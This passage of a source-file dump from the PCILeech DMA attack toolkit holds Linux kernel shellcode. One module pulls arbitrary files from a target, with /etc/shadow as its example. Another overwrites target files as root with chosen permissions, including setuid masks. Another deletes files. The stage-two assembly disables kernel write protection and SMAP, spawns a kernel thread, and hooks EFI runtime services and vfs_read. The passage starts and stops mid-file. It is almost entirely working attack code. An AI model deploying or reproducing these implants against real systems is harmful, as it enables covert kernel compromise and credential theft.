'_', 'u', 'n', 'l', 'i', 'n', 'k', 'a', 't', 0 };\n    NAMES[0] = (QWORD)str_memcpy;\n    NAMES[1] = (QWORD)str_getname;\n    NAMES[2] = (QWORD)str_getname_kernel;\n    NAMES[3] = (QWORD)str_do_unlinkat;\n    return LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn3, 4);\n}\n\n#define AT_FDCWD       -100\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n    BOOL f2, f3;\n\tFN2 fn2;\n    FN3 fn3;\n\tQWORD qwResult;\n    QWORD qwFileNamePtr;\n    f2 = LookupFunctions2(pk, &fn2);\n    f3 = LookupFunctions3(pk, &fn3);\n\tif(!f2 && !f3) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n    SysVCall((f2 ? fn2.memcpy : fn3.memcpy), pk->dataOutStr, pk->dataInStr, MAX_PATH);\n    if(!pk->dataIn[0]) {\n        pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n        return;\n    }\n    if(f2) {\n        qwResult = SysVCall(fn2.sys_unlink, pk->dataInStr);\n    } else {\n        qwFileNamePtr = SysVCall(fn3.getname_kernel ? fn3.getname_kernel : fn3.getname, pk->dataInStr);\n        qwResult = SysVCall(fn3.do_unlinkat, AT_FDCWD, qwFileNamePtr);\n    }\n\tif(qwResult) {\n\t\tpk->dataOut[0] = STATUS_FAIL_ACTION;\n\t\treturn;\n\t}\n}"
  },
  {
    "path": "pcileech_shellcode/lx64_filepull.c",
    "content": "// lx64_filepull.c : kernel code to pull files from target system.\n// Compatible with Linux x64.\n//\n// (c) Ulf Frisk, 2016-2021\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_filepull.c\n// ml64 lx64_common_a.asm /Felx64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_filepull.obj lx64_common.obj\n// shellcode64.exe -o lx64_filepull.exe \"PULL FILES FROM TARGET SYSTEM                                  \\nLINUX X64 EDITION                                              \\n===============================================================\\nPull a file from the target system to the local system.        \\nREQUIRED OPTIONS:                                              \\n  -out : file on local system to write result to.              \\n         filename is given in normal format.                   \\n         Example: '-out c:\\temp\\shadow'                        \\n  -s : file on target system.                                  \\n         Example: '-s /etc/shadow'                             \\n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\n===============================================================\\n\"\n// \n\n#include \"lx64_common.h\"\n\n#define O_RDONLY        00000000\n#define O_LARGEFILE     00100000\n\ntypedef struct tdFN2 {\n\tQWORD filp_close;\n\tQWORD filp_open;\n\tQWORD vfs_read;\n\tQWORD kernel_read;\n\tQWORD memcpy;\n} FN2, *PFN2;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD NAMES[5];\n\tCHAR str_filp_close[] = {'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0};\n\tCHAR str_filp_open[] = { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 };\n\tCHAR str_vfs_read[] = { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 0 };\n\tCHAR str_kernel_read[] = { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'r', 'e', 'a', 'd', 0 };\n\tCHAR str_memcpy[] = { 'm', 'e', 'm', 'c', 'p', 'y', 0 };\n\tNAMES[0] = (QWORD)str_filp_close;\n\tNAMES[1] = (QWORD)str_filp_open;\n\tNAMES[2] = (QWORD)str_vfs_read;\n\tNAMES[3] = (QWORD)str_kernel_read;\n\tNAMES[4] = (QWORD)str_memcpy;\n\treturn LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, 5);\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tFN2 fn2;\n\tQWORD hFile, qwOffset = 0;\n\tBOOL isModeLargeTransfer = FALSE;\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\tSysVCall(fn2.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\thFile = SysVCall(fn2.filp_open, pk->dataInStr, O_RDONLY | O_LARGEFILE, pk->dataIn[0]);\n\tif(hFile > 0xffffffff00000000) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\treturn;\n\t}\n\twhile(TRUE) {\n\t\tpk->dataOutExtraLength = SysVCall(\n\t\t\tfn2.kernel_read ? fn2.kernel_read : fn2.vfs_read,\n\t\t\thFile,\n\t\t\tpk->DMAAddrVirtual + pk->dataOutExtraOffset,\n\t\t\tpk->dataOutExtraLengthMax,\n\t\t\t&qwOffset\n\t\t);\n\t\tif(pk->dataOutExtraLength < pk->dataOutExtraLengthMax) {\n\t\t\tbreak;\n\t\t}\n\t\tisModeLargeTransfer = TRUE;\n\t\tif(!WriteLargeOutput_WaitNext(pk)) {\n\t\t\tpk->dataOutExtraLength = 0;\n\t\t\tpk->dataOut[0] = STATUS_FAIL_PCILEECH_CORE;\n\t\t\tSysVCall(fn2.filp_close, hFile, NULL);\n\t\t\treturn;\n\t\t}\n\t}\n\tif(isModeLargeTransfer) {\n\t\tWriteLargeOutput_Finish(pk);\n\t}\n\tSysVCall(fn2.filp_close, hFile, NULL);\n}"
  },
  {
    "path": "pcileech_shellcode/lx64_filepush.c",
    "content": "// lx64_filepush.c : kernel code to push files to target system.\n// Compatible with Linux x64.\n//\n// (c) Ulf Frisk, 2016-2021\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_filepush.c\n// ml64 lx64_common_a.asm /Felx64_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_filepush.obj lx64_common.obj\n// shellcode64.exe -o lx64_filepush.exe \"PUSH FILES TO TARGET SYSTEM                                    \\nLINUX X64 EDITION                                              \\n===============================================================\\nPush a file from the local system to the target system.        \\nWARNING! Existing files will be overwritten!                   \\n* Files created will be created with root as owner/group and get\\n  the access mask specified in the -0 parameter.               \\n* Files overwritten will keep the access mask and owner/group. \\nREQUIRED OPTIONS:                                              \\n  -in  : file to push to target system from this system.       \\n         filename is given in normal format.                   \\n         Example: '-in c:\\temp\\shadow'                         \\n  -s : file on target system.                                  \\n         Example: '-s /etc/shadow'                             \\n  -0   : file access mask in HEXADECIMAL OR DECIMAL FORMAT!    \\n         NB! linux file masks are ususally typed in octal -    \\n         -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex)  \\n         -rwxrwxrwx  777 (oct) =  511 (decimal) = 0x1ff (hex)  \\n         Example: '-0 0x1ff'                                   \\n  -1   : run flag - set to non zero to push file.              \\n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\nBYTES WRITTEN : 0x%08X\\n===============================================================\\n\"\n// \n\n#include \"lx64_common.h\"\n\n#define O_WRONLY        00000001\n#define O_CREAT         00000100\n#define O_TRUNC         00001000\n#define O_LARGEFILE     00100000\n\ntypedef struct tdFN2 {\n\tQWORD filp_close;\n\tQWORD filp_open;\n\tQWORD vfs_write;\n\tQWORD kernel_write;\n\tQWORD memcpy;\n} FN2, *PFN2;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD NAMES[5];\n\tCHAR str_filp_close[] = { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 };\n\tCHAR str_filp_open[] = { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 };\n\tCHAR str_vfs_write[] = { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 };\n\tCHAR str_kernel_write[] = { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'w', 'r', 'i', 't', 'e', 0 };\n\tCHAR str_memcpy[] = { 'm', 'e', 'm', 'c', 'p', 'y', 0 };\n\tNAMES[0] = (QWORD)str_filp_close;\n\tNAMES[1] = (QWORD)str_filp_open;\n\tNAMES[2] = (QWORD)str_vfs_write;\n\tNAMES[3] = (QWORD)str_kernel_write;\n\tNAMES[4] = (QWORD)str_memcpy;\n\treturn LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, 5);\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tFN2 fn2;\n\tQWORD hFile, qwOffset = 0;\n\tif(!pk->dataIn[1]) {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t\treturn;\n\t}\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\tSysVCall(fn2.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\thFile = SysVCall(fn2.filp_open, pk->dataInStr, O_WRONLY | O_CREAT | O_TRUNC | O_LARGEFILE, pk->dataIn[0]);\n\tif(hFile > 0xffffffff00000000) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\treturn;\n\t}\n\tpk->dataOut[1] = SysVCall(\n\t\tfn2.kernel_write ? fn2.kernel_write : fn2.vfs_write,\n\t\thFile,\n\t\tpk->DMAAddrVirtual + pk->dataInExtraOffset,\n\t\tpk->dataInExtraLength,\n\t\t&qwOffset\n\t);\n\tSysVCall(fn2.filp_close, hFile, NULL);\n}"
  },
  {
    "path": "pcileech_shellcode/lx64_stage2.asm",
    "content": "; lx64_stage2.asm : assembly to receive execution from stage1 shellcode.\n; Compatible with Linux x64.\n;\n; (c) Ulf Frisk, 2016-2024\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\tmain_pre_start:\n\t; ----------------------------------------------------\n\t; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_cmpxchg_flag\t\t\t\t\tdb 00h\n\tdata_filler\t\t\t\t\t\t\tdb 00h\n\tdata_phys_addr_alloc\t\t\t\tdd 00000000h\t\t\t\t\t\t; 4 bytes offset (4 bytes long)\n\tdata_orig_code\t\t\t\t\t\tdq 0000000000000000h\t\t\t\t; 8 bytes offset (8 bytes long)\n\tdata_offset_kallsyms_lookup_name\tdd 00000000h\t\t\t\t\t\t; 16 bytes offset (4 bytes long)\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\tmain_start:\n\tPOP rax\n\tSUB rax, 5\n\tPUSH rax\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH rdx\n\tPUSH rcx\n\tPUSH r8\n\tPUSH r9\n\tPUSH r14\n\tPUSH r15\n\tMOV r14, cr4\n\tMOV r15, cr0\n\t; ----------------------------------------------------\n\t; 2: ENABLE SUPERVISOR WRITE\n\t; ----------------------------------------------------\n\tMOV rcx, cr4\n\tBTR ecx, 23\n\tMOV cr4, rcx\n\tMOV rcx, cr0\n\tBTR ecx, 16\n\tMOV cr0, rcx\n\t; ----------------------------------------------------\n\t; 3: RESTORE ORIGNAL (8 bytes)\n\t; ----------------------------------------------------\n\tMOV rdx, [data_orig_code]\n\tMOV [rax], rdx\n\t; ----------------------------------------------------\n\t; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLEA rcx, data_cmpxchg_flag\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\tMOV cr0, r15\t\t; restore original cr0/cr4\n\tMOV cr4, r14\t\t; restore original cr0/cr4\n\t; ----------------------------------------------------\n\t; 5: SET UP CALL STACK AND PARAMETERS\n\t;    r12: tmp 1 (virt addr)\n\t;    r13: tmp 2 (phys addr)\n\t;    r14: addr to kallsyms_lookup_name\n\t;    r15: storage for store old stack ptr (rsp)\n\t; ----------------------------------------------------\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\tPUSH r15\n\tMOV r15, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 060h\n\tLEA r14, main_pre_start\n\tMOV eax, [data_offset_kallsyms_lookup_name]\n\tADD r14, rax\n\t; ----------------------------------------------------\n\t; 5: CALL C CODE\n\t; ----------------------------------------------------\n\tCALL setup\n\tMOV rsp, r15\n\tPOP r15\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\t; ----------------------------------------------------\n\t; 6: WRITE RESULT (KMD ADDRESS):\n\t; ----------------------------------------------------\n\tMOV rcx, cr4\n\tBTR ecx, 23\n\tMOV cr4, rcx\n\tMOV rcx, cr0\n\tBTR ecx, 16\n\tMOV cr0, rcx\n\tMOV [data_phys_addr_alloc], eax\n\t; ----------------------------------------------------\n\t; 7: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tMOV cr0, r15\t\t; restore original cr0/cr4\n\tMOV cr4, r14\t\t; restore original cr0/cr4\n\tPOP r15\n\tPOP r14\n\tPOP r9\n\tPOP r8\n\tPOP rcx\n\tPOP rdx\n\tPOP rsi\n\tPOP rdi\n\tRET\nmain ENDP\n\nsetup PROC\n\t; ----------------------------------------------------\n\t; 0: ALLOC PAGES\n\t; ----------------------------------------------------\n\tLEA rdi, str_alloc_pages_current\n\tCALL r14\n\tTEST rax, rax\n\tJNZ alloc_pages_ok\n\tLEA rdi, str_alloc_pages\n\tCALL r14\n\tTEST rax, rax\n\tJNZ alloc_pages_ok\n\tLEA rdi, str_alloc_pages_noprof\n\tCALL r14\n\tTEST rax, rax\n\tJZ error\n    alloc_pages_ok:\n\tMOV rdi, 0cc4h\n\tMOV rsi, 1h\n\tCALL rax\n\tMOV [rsp+30h], rax\n\tTEST rax, rax\n\tJZ error\n\t; ----------------------------------------------------\n\t; 1: RETRIEVE PHYS/VIRT ADDRESSES OF PAGES\n\t; ----------------------------------------------------\n\tMOV rdi, rax\n\tCALL m_page_to_phys\n\tMOV r13, rax\n\tMOV rdi, r13\n\tCALL m_phys_to_virt\n\tMOV r12, rax\n\t; ----------------------------------------------------\n\t; 2: SET MEMORY TO 'rw' IF FUNCTION EXISTS\n\t; ----------------------------------------------------\n\tLEA rdi, str_set_memory_rw\n\tCALL r14\n\tTEST rax, rax\n\tJZ setup_clear_memory\n\tMOV rdi, r12\n\tMOV rsi, 2\n\tCALL rax\n\t; ----------------------------------------------------\n\t; 3: CLEAR AND COPY STAGE3 PRE BINARY TO AREA\n\t; ----------------------------------------------------\n\tsetup_clear_memory:\n\tMOV rdi, r12\n\tCALL clear_8k\n\tMOV rdi, 64\n\tcopy_stage3_pre_loop:\n\tSUB rdi, 8\n\tLEA rax, lx64_stage3_pre\n\tMOV rax, [rax+rdi]\n\tMOV rsi, r12\n\tADD rsi, 1000h\n\tADD rsi, rdi\n\tMOV [rsi], rax\n\tTEST rdi, rdi\n\tJNZ copy_stage3_pre_loop\n\t; ----------------------------------------------------\n\t; 4: SET CODE PAGE TO EXECUTABLE\n\t; ----------------------------------------------------\n\tLEA rdi, str_set_memory_rox\n\tCALL r14\n\tTEST rax, rax\n\tJNZ set_memory_exec\n\tLEA rdi, str_set_memory_x\n\tCALL r14\n\tTEST rax, rax\n\tJZ error\n\tset_memory_exec:\n\tMOV rdi, r12\n\tADD rdi, 1000h\n\tMOV rsi, 1\n\tCALL rax\n\t; ----------------------------------------------------\n\t; 5: CREATE THREAD & SET UP DATA AREA\n\t; (try kthread_create_on_node 1st, kthread_create 2nd)\n\t; ----------------------------------------------------\n\tLEA rdi, str_kthread_create_on_node\n\tCALL r14\n\tTEST rax, rax\n\tJZ thread_kthread_create\n\tMOV rdi, r12\n\tADD rdi, 01000h\n\tXOR rsi, rsi\n\tXOR rdx, rdx\n\tSUB rdx, 1\n\tLEA rcx, str_pcileech\n\tCALL rax\n\tTEST rax, rax\n\tJZ thread_kthread_create\n\tJMP thread_start\n\tthread_kthread_create:\n\tLEA rdi, str_kthread_create\n\tCALL r14\n\tTEST rax, rax\n\tJZ error\n\tMOV rdi, r12\n\tADD rdi, 01000h\n\tXOR rsi, rsi\n\tLEA rdx, str_pcileech\n\tCALL rax\n\tTEST rax, rax\n\tJZ error\n\t; ----------------------------------------------------\n\t; 6: START THREAD\n\t; ----------------------------------------------------\n\tthread_start:\n\tMOV [r12+58h], rax   ; KMDDATA.ReservedKMD[0] (task_struct*)\n\tMOV [r12+10h], r14   ; KMDDATA.AddrKallsymsLookupName\n\tMOV rax, [rsp+30h]\n\tMOV [r12+60h], rax   ; KMDDATA.ReservedKMD[1] (page*)\n\tLEA rdi, str_wake_up_process\n\tCALL r14\n\tTEST rax, rax\n\tJZ error\n\tMOV rdi, [r12+58h]\n\tCALL rax\n\tTEST rax, rax\n\tJZ error\n\t; ----------------------------------------------------\n\t; 7: FINISH!\n\t;    supervisor write must be re-enabled before since\n\t;    some calls may have unset it.\n\t; ----------------------------------------------------\n\tMOV eax, r13d\n\tRET\n\terror:\n\tMOV eax, 0FFFFFFFFh\n\tsetup_finish:\n\tRET\nsetup ENDP\n\n; ------------------------------------------------------------------\n; Retrieve the PAGE_OFFSET_BASE\n; r14 -> kallsyms_lookup_name\n; rax <- value of PAGE_OFFSET_BASE\n; ------------------------------------------------------------------\nm_page_offset_base PROC\n\tLEA rdi, str_page_offset_base\n\tCALL r14\n\tTEST rax, rax\n\tJZ kaslr_pg_disable\n\tMOV rax, [rax]\n\tRET\n\tkaslr_pg_disable:\n\tMOV rax, 0ffff880000000000h\n\tRET\nm_page_offset_base ENDP\n\nm_phys_to_virt PROC\n\tPUSH rdi\n\tCALL m_page_offset_base\n\tPOP rdi\n\tADD rax, rdi\n\tRET\nm_phys_to_virt ENDP\n\nm_vmemmap_base PROC\n\tLEA rdi, str_vmemmap_base\n\tCALL r14\n\tTEST rax, rax\n\tJZ kaslr_memmap_disable\n\tMOV rax, [rax]\n\tRET\n\tkaslr_memmap_disable:\n\tMOV rax, 0ffffea0000000000h\n\tRET\nm_vmemmap_base ENDP\n\nm_page_to_phys PROC\n\tPUSH rdi\n\tCALL m_vmemmap_base\n\tPOP rdi\n\tSUB rdi, rax\n\tSHR rdi, 7\t\t; PFN\n\tSHL rdi, 12\n\tMOV rax, rdi\n\tRET\nm_page_to_phys ENDP\n\n; ----------------------------------------------------\n; clear_8k\n; clear 8192 bytes of memory\n; rdi -> starting address\n; ----------------------------------------------------\nclear_8k PROC\n\tXOR rax, rax\n\tMOV ecx, 1024\n\tCLD\n\tREP STOSQ [rdi]\n\tRET\nclear_8k ENDP\n\n; ----------------------------------------------------\n; This code compiles into 53 bytes. This is copied by\n; stage3 area by the setup function.\n; Linux cannot use the simpler windows stage3 pre code\n; since the thread will get stuck without a sleep.\n; ----------------------------------------------------\nlx64_stage3_pre PROC\n\tlabel_main_base:\t\n\tJMP label_main_loop\n\tstr_msleep db 'msleep', 0\n\tlabel_main_loop:\n\tLEA rdi, str_msleep\n\tLEA rax, label_main_base-1000h+10h\t\t; KMDDATA.qwAddrKallsymsLookupName\n\tMOV rax, [rax]\n\tCALL rax\n\tMOV rdi, 100\n\tCALL rax\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_loop\nlx64_stage3_pre ENDP\n\nstr_kthread_create\t\t\tdb 'kthread_create', 0\nstr_kthread_create_on_node\tdb 'kthread_create_on_node', 0\nstr_alloc_pages_current\t\tdb 'alloc_pages_current', 0\nstr_alloc_pages\t\t\t\tdb 'alloc_pages', 0\nstr_alloc_pages_noprof\t\tdb 'alloc_pages_noprof', 0\nstr_set_memory_rox\t\t\tdb 'set_memory_rox', 0\nstr_set_memory_x\t\t\tdb 'set_memory_x', 0\nstr_set_memory_rw\t\t\tdb 'set_memory_rw', 0\nstr_wake_up_process\t\t\tdb 'wake_up_process', 0\nstr_page_offset_base\t\tdb 'page_offset_base', 0\nstr_vmemmap_base\t\t\tdb 'vmemmap_base', 0\nstr_pcileech\t\t\t\tdb 'pcileech', 0\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/lx64_stage2_efi.asm",
    "content": "; lx64_stage2_efi.asm : assembly to receive execution from hooked efi runtime services dispatch table.\n; Compatible with Linux x64.\n;\n; (c) Ulf Frisk, 2017\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n;\n; the efi runtime services hook will access the linux kernel proper and set up\n; a hook in the 'vfs_read' function. The 'vfs_read' function gets called often.\n; A harmless kernel Oops will be shown in the process when setting a unaligned\n; memory page to executable.\n;\n\n.CODE\n\ndata_reserved_future_use\tdq 0,0,0,0\t\t\t\t\t\t\t; [000h offset, 20h size]\ndata_phys_addr_alloc\t\tdd 0\t\t\t\t\t\t\t\t; [020h offset, 04h size]\ndata_filler_0\t\t\t\tdd 0\t\t\t\t\t\t\t\t; [024h offset, 04h size]\ndata_addr_runtserv\t\t\tdq 0\t\t\t\t\t\t\t\t; [028h offset, 08h size]\ndata_runtserv_table_fn\t\tdq 0,0,0,0,0,0,0,0,0,0,0,0,0,0\t\t; [030h offset, 70h size]\ndata_debug0\t\t\t\t\tdq 0\t\t\t\t\t\t\t\t; [0a0h offset, 08h size]\ndata_debug1\t\t\t\t\tdq 0\t\t\t\t\t\t\t\t; [0a8h offset, 08h size]\ndata_debug2\t\t\t\t\tdq 0\t\t\t\t\t\t\t\t; [0b0h offset, 08h size]\ndata_debug3\t\t\t\t\tdq 0\t\t\t\t\t\t\t\t; [0b8h offset, 08h size]\naddr_vmemmap_base\t\t\tdq 0\t\t\t\t\t\t\t\t; [0c0h offset, 08h size]\naddr_kthread_create_on_node\tdq 0\t\t\t\t\t\t\t\t; [0c8h offset, 08h size]\naddr_wake_up_process\t\tdq 0\t\t\t\t\t\t\t\t; [0d0h offset, 08h size]\naddr_page_offset_base\t\tdq 0\t\t\t\t\t\t\t\t; [0d8h offset, 08h size]\naddr_alloc_pages_current\tdq 0\t\t\t\t\t\t\t\t; [0e0h offset, 08h size]\naddr_set_memory_x\t\t\tdq 0\t\t\t\t\t\t\t\t; [0e8h offset, 08h size]\naddr_vfs_read\t\t\t\tdq 0\t\t\t\t\t\t\t\t; [0f0h offset, 08h size]\naddr_kallsyms_lookup_name\tdq 0\t\t\t\t\t\t\t\t; [0f8h offset, 08h size]\n\n; ----------------------------------------------------\n; ENTRY POINT:\n; 100h offset\n; UEFI x64 calling convention is assumed upon entry.\n; volatile :: rax, rcx, rdx, r8, r9, r10, r11\n; arguments in :: rcx, rdx, r8, r9\n; ----------------------------------------------------\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: LANDING POINT FOR HOOKED EFI RUNTIME SERVICES (RUNTSERV) TABLE.\n\t;    (depending on which of the _14_ functions are hooked execution\n\t;    will land on different position.\n\t; ----------------------------------------------------\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\tPUSH 0\n\t; ----------------------------------------------------\n\t; 2: FETCH CALLER AND CALLEE ADDRESSES.\n\t; ----------------------------------------------------\n\tMOV r11, 14\n\tloop_count:\n\tDEC r11\n\tPOP rax\n\tTEST rax, rax\n\tJZ loop_count\n\tPUSH rax\n\tMOV r10, rax\n\tLEA rax, data_runtserv_table_fn\n\tPUSH [rax + 8*r11 + 8]\n\t; ----------------------------------------------------\n\t; 3: SAVE ORIGINAL PARAMETERS.\n\t; ----------------------------------------------------\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\tPUSH rbx\n\tPUSH rbp\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\tPUSH r15\n\t; ----------------------------------------------------\n\t; 4: RESTORE ORIGNAL RUNTSERV TABLE.\n\t; ----------------------------------------------------\n\tMOV rcx, 14\n\tloop_restore:\n\tDEC rcx\n\tLEA rax, data_runtserv_table_fn\n\tMOV rdx, [rax + 8*rcx]\n\tMOV rax, [data_addr_runtserv]\n\tMOV [rax + 18h + 8*rcx], rdx\n\tTEST rcx, rcx\n\tJNZ loop_restore\n\t; ----------------------------------------------------\n\t; 5: FIND SYMBOLS AND CALL SETUP CODE.\n\t; ----------------------------------------------------\n\tMOV rcx, r10\n\tCALL find_kallsyms\n\tCALL find_symbols\n\tCALL setup_uefi_rt\n\t; ----------------------------------------------------\n\t; 6: RESTORE AND JMP TO ORIGINAL INTENDED TARGET.\n\t; ----------------------------------------------------\n\tPOP r15\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\tPOP rbp\n\tPOP rbx\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tPOP rsi\n\tPOP rdi\n\tPOP rax\n\tMOV [data_debug1], rax\n\tJMP rax\nmain ENDP\n\n; ----------------------------------------------------\n; Locate address of kallsyms_lookup_name.\n; rcx -> address in kernel\n; volatile :: rax, r13, r14, r15\n; ----------------------------------------------------\nfind_kallsyms PROC\n\t; ----------------------------------------------------\n\t; 1: Search for string: 'kallsyms_lookup_name'.\n\t; ----------------------------------------------------\n\tLEA rax, str_kallsyms\n\tMOV r13, [rax]\n\tMOV r14, [rax+8]\n\tMOV r15, [rax+14]\n\tkallsyms_find_str_loop:\n\tINC rcx\n\tMOV rax, [rcx]\n\tCMP rax, r13\n\tJNE kallsyms_find_str_loop\n\tMOV rax, [rcx+8]\n\tCMP rax, r14\n\tJNE kallsyms_find_str_loop\n\tMOV rax, [rcx+16-2]\n\tCMP rax, r15\n\tJNE kallsyms_find_str_loop\n\tINC rcx\n\t; ----------------------------------------------------\n\t; 2: Search for address to string previously found.\n\t; ----------------------------------------------------\n\t; rcx == address of str kallsyms_lookup_name -> r15\n\tMOV r15, rcx\n\tSHR rcx, 3\n\tSHL rcx, 3\n\tkallsyms_find_addr_loop:\n\tSUB rcx, 8\n\tMOV rax, [rcx]\n\tCMP rax, r15\n\tJNZ kallsyms_find_addr_loop\n\t; ----------------------------------------------------\n\t; 3: Return fn address of kallsyms_lookup_name.\n\t; ----------------------------------------------------\n\tMOV rax, [rcx-08h]\n\tMOV [addr_kallsyms_lookup_name], rax\n\tRET\nfind_kallsyms ENDP\n\n; ----------------------------------------------------\n; Locate required symbols (kallsyms_lookup_name must be known).\n; volatile :: rax, rdi\n; ----------------------------------------------------\nfind_symbols PROC\n\tPUSH r15\n\tMOV r15, [addr_kallsyms_lookup_name]\n\t; addr_vfs_read\n\tLEA rdi, str_vfs_read\n\tCALL r15\n\tMOV [addr_vfs_read], rax\n\t; addr_set_memory_x\n\tLEA rdi, str_set_memory_x\n\tCALL r15\n\tMOV [addr_set_memory_x], rax\n\t; addr_alloc_pages_current\n\tLEA rdi, str_alloc_pages_current\n\tCALL r15\n\tMOV [addr_alloc_pages_current], rax\n\t; addr_page_offset_base\n\tLEA rdi, str_page_offset_base\n\tCALL r15\n\tMOV [addr_page_offset_base], rax\n\t; addr_vmemmap_base\n\tLEA rdi, str_vmemmap_base\n\tCALL r15\n\tMOV [addr_vmemmap_base], rax\n\t; addr_kthread_create_on_node\n\tLEA rdi, str_kthread_create_on_node\n\tCALL r15\n\tMOV [addr_kthread_create_on_node], rax\n\t; addr_wake_up_process\n\tLEA rdi, str_wake_up_process\n\tCALL r15\n\tMOV [addr_wake_up_process], rax\n\tPOP r15\n\tRET\nfind_symbols ENDP\n\n; ----------------------------------------------------\n; Setup stage2 area and hook kernel proper.\n; r14 -> address of kallsyms_lookup_name\n; r11 :: address of vfs_read (virt addr/hook fn)\n; r12 :: alloc pg (virt addr)\n; r13 :: alloc pg (phys addr)\n; ----------------------------------------------------\nsetup_uefi_rt PROC\n\t; ----------------------------------------------------\n\t; 1: ALLOC 1 PAGE FOR CODE TO BE CALLED BY KERNEL.\n\t; ----------------------------------------------------\n\tMOV rdi, 14h\n\tMOV rsi, 0h\n\tCALL [addr_alloc_pages_current]\n\t; ----------------------------------------------------\n\t; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGE.\n\t; ----------------------------------------------------\n\tMOV rdi, rax\n\tCALL m_page_to_phys\n\tMOV r13, rax\n\tMOV rdi, r13\n\tCALL m_phys_to_virt\n\tMOV r12, rax\n\tMOV [data_debug1], r13\t\t; debug\n\tMOV [data_debug2], r12\t\t; debug\n\t; ----------------------------------------------------\n\t; 3: PATCH HOOK SHELLCODE.\n\t; ----------------------------------------------------\n\t; patch shellcode absolute virtual location\n\tLEA rax, hook_shellcode + 06h\n\tLEA rdx, hook_kernel_fn_landing_point\n\tAND rdx, 0fffh\n\tADD rdx, r12\n\tMOV [rax], rdx\n\t; patch relative addr to set_memory_x\n\tMOV rdx, [addr_vfs_read]\t\t; addr from\n\tADD rdx, 19h\n\tMOV rcx, [addr_set_memory_x]\t; addr to\n\tSUB ecx, edx\t\t\t\t\t; addr rel (used in call)\n\tLEA rax, hook_shellcode + 15h\n\tMOV [rax], ecx\n\t; ----------------------------------------------------\n\t; 4: SAVE ORIGINAL BYTES OF HOOK FUNCTION.\n\t; 